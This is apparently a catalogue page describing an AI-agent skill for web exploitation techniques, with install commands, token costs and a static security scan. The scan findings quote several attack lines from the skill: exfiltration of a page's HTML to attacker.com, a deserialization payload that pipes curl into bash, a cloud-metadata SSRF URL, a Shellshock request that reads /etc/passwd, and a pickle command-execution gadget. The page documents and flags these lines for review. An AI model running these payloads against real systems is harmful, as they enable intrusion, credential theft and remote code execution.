Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add AeonDave/malskill --skill web-exploit-techniquegit clone --depth 1 https://github.com/AeonDave/malskillWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/aeondave/malskill/web-exploit-technique)<a href="https://agentmods.dev/skills/aeondave/malskill/web-exploit-technique"><img src="https://agentmods.dev/badge/skills/aeondave/malskill/web-exploit-technique.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.07242 |
| Opus 5 | $0.00022 | $0.03621 |
| Sonnet 5 | $0.00009 | $0.01448 |
| Haiku 4.5 | $0.00004 | $0.00724 |
Grade C, and why
web-exploit-technique scanned grade C with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch('https://attacker.com/page', {method:'POST', body:document.documentElement.outerHTML}) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' > payload.ser Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
url=http://169.254.169.254/latest/meta-data/ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s http://target/cgi-bin/status -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd' Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
def __reduce__(self): return (os.system, ("id > /tmp/pwn",)) The source is not reproduced here
No licence file
A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.
What ships with it
12 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
- references/advanced-web-chains.md 3.6 KB
- references/api-authorization-and-realtime.md 7.0 KB
- references/auth-and-session.md 21 KB
- references/deserialization.md 8.1 KB
- references/file-upload-and-rce.md 15 KB
- references/graphql-testing.md 3.8 KB
- references/injection-attacks.md 16 KB
- references/lfi-and-path-traversal.md 6.7 KB
- references/protocol-and-parser-confusions.md 8.2 KB
- references/ssrf-and-xxe.md 11 KB
- references/waf-bypass.md 7.8 KB
- references/xss-and-client.md 20 KB
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 677 lines · 44 tokens per session scan C d5eb233cc9fb
web-exploit-technique is a skill published in the GitHub repository AeonDave/malskill (18 stars, last pushed 3d ago), with no licence file. It adds 44 tokens to every session and 7,242 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 5 findings (sends data to an external url, downloads and executes remote code, cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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